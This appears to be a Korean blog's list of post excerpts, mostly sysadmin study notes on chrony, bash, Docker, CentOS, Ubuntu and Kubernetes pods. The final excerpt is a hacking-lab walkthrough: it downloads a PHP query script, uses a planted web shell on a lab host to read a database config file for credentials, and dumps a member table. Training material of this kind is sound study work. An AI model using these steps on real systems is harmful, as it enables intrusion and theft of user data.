목록분류 전체보기 (206)
클라우드 배우기

시간 변경 $ timedatectl list-timezones | grep -i seoul $ timedatectl set-timezone Asia/Seoul $ timedatectl $ vim /etc/chrony.conf 서버 값 입력 iburst 샘플 수집 시간 변경 NTP server IP로 등록 (주로 2개 ~4개) $ systemctl restart chronyd.service $ systemctl status chronyd.sercie $ chronyc sources -v => chronyd의 동기화 상태 확인 ^* 상단 참고 = server, current best Poll 6 : 64초마다 시간 확인 +62us : 마이크로 초 (지연시간/ 1초 2초인 경우 편차가 큰 거여서 조치 필요) ..

인용 특수 문자 특별한 의미가 아닌 리터럴 값으로 사용해야 하려면 스크립트에서 해당 문자를 이스케이프 해야함 이케이프를 위하여 (\),(''),("") 사용 # echo # not a comment # echo \# not a comment # echo \# not a comment \# # echo '# not a comment #' 변수에는 중괄호 쓰는 것이 권장사항 $ var=$(hostname -s); echo $var => 단축된 호스트명을 var라는 변수에 할당하여 불러옴 $ id $ echo $PATH => 명령어 path 확인 하기 경로에 명령어 추가하면 실행 가능 BASH 스크립트 path 에 명령어 넣어 실행하기 1 $ vim data #!/usr/bin/bash echo "Hate M..

Docker 설치 방법 1. repository를 이용해서 설치 => 이걸로 설치 2. download 후 직접 설치 3. script를 이용한 설치 Ubuntu 내 Docker 설치 https://docs.docker.com/engine/install/ubuntu/#install-using-the-repository 1. 요구하는 program 설치 sudo apt-get install ca-certificates curl gnupg 2. 도커가 가지고 있는 인증서 저장 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg sudo chmod a+r /etc/ap..

Centos7 설치 값 GNOME 데스크탑 (GUI로 볼 수 있게 설정) 네트워크 & 호스트 이름 부분에서 이더넷 root (centos 는 root로 바로 로그인 가능) centos 를 데스크탑 버전으로 설치하면 기본으로 가상 머신 안에 하이퍼바이저 설치가 됨 => 하기와 같이 KVM(Kernel-based Virtual Machine) 중지 필요 # systemctl stop libvirtd # systemctl disable libvirtd 원격 조정 설 # vi /etc/hostname 하기와 같이 설정 (이미 설정되어 있음) # vi /etc/hosts 하기와 같이 설정 변경 # ping 8.8.8.8 # systemctl set-default multi-user.target => 텍스트 모드로..

Network 설치 나의 경우, 호스트 IP는 localhost로 지정해주기 위하여 공란으로 유지 Ubuntu 설치 값 guru # sudo passwd root => root 패스워드 설정 Ubuntu 는 기본적으로 root 로 로그인이 불가하기 떄문에 로그인이 가능할 수 있게 설정을 해야한다. # su - root => root로 로그인 (=su -) root # systemctl set-default multi-user.target => Ubuntu 는 GUI 부팅 지원하지만 HW 리소스 적게 쓰기 위하여 텍스트 모드로 변경 # apt-get update Ubuntu 는 apt로 설치하기 전에 update부터 해야 # apt-get install -y openssh-server curl vim tr..

Static Podapi서버에게 요청을 보내지 않음원하는 node에서 kubelet daemon으로 실행하는 것var/lib/kubelet/config.yaml => staticPodPath 확인/etc/kubernetes/manifests 디렉토리에 k8s yaml 파일을 저장 시 적용(yaml 파일 저장 시 바로 실행, 삭제 시 바로 삭제) node 2# cat /var/lib/kubelet/config.yaml kubernetes 자격증의 시험은 staticPodPath 가 변경되어 있는 경우가 있음. 때문에 개인이 이 경로를 바꿔 진행할 수 있음.vi /var/lib/kubelet/config.yaml 로 수정kubelet Daemon은 restart 필수! # cd /etc/kubernet..

init containermain container를 실행하는데 필요로 하는 환경 세팅db 를 접속해서 정보들을 가져오는 컨테이너login application - main container init 컨테이너가 실행되지 않으면 main container 실행 안 됨 (앱 컨테이너를 실행하기 전에 미리 동작 시킬 컨테이너)main 컨테이너가 실행되기 전에 사전 작업이 필요한 경우 사용 # vi init-container.yamlapiVersion: v1kind: Podmetadata: name: myapp-pod labels: app: myappspec: containers:#메인컨테이너 - name: myapp-container image: busybox:1.28 command: ..

livernessProbe (kubelet으로 컨테이너 진단하기)Self-healing 기능, 건강한 container로만 서비스를 제공Pod의 spec에 정의 일반 pod yamlapiVersion: v1kind: Podmetadata: name: nginx-podspec: containers: - name: nginx-container image: nginx:1.14livernessProbe 적용 pod yamlapiVersion: v1kind: Podmetadata: name: nginx-podspec: containers: - name: nginx-container image: nginx:1.14 livenessProbe: httpGet: path:..

# kubectl delete pod --all => 동작 중인 모든 파드 삭제# kubectl get pods -o wide --watch => 파드 삭제를 한 줄씩 조회master 창을 하나 더 열어 # kubectl create -f web.yaml 및 # kubectl delete -f web.yaml 실행 # kubectl edit pod web -> 동작 중인 파드 수정 따배쿠 문제1. # kubectl get pod2. # kubectl get pod --all-namespaces3. # kubectl run nginx-pod --image nginx --port 804 & 8. # kubectl describe pod nginx-pod5 ~ 7. # kubectl get pod -o wi..

Target Database Hack SQL 데이터 베이스 회원 정보 확인 kali cmd # wget https://github.com/github2ygl/safehack/raw/main/myquery.php firefox https://10.0.2.11/board/pds/webshell.php # ls ../ # cat ../dbconfig.php => view page source code cmd # nano myquery.php 하기와 같이 host ~ passwd 까지 입력 값 기입 # cp myquery.php myq.php => firefox 게시판에 페이지가 중복이 되지 않도록 파일 복사 show databases; use webhack; show tables; select * from m..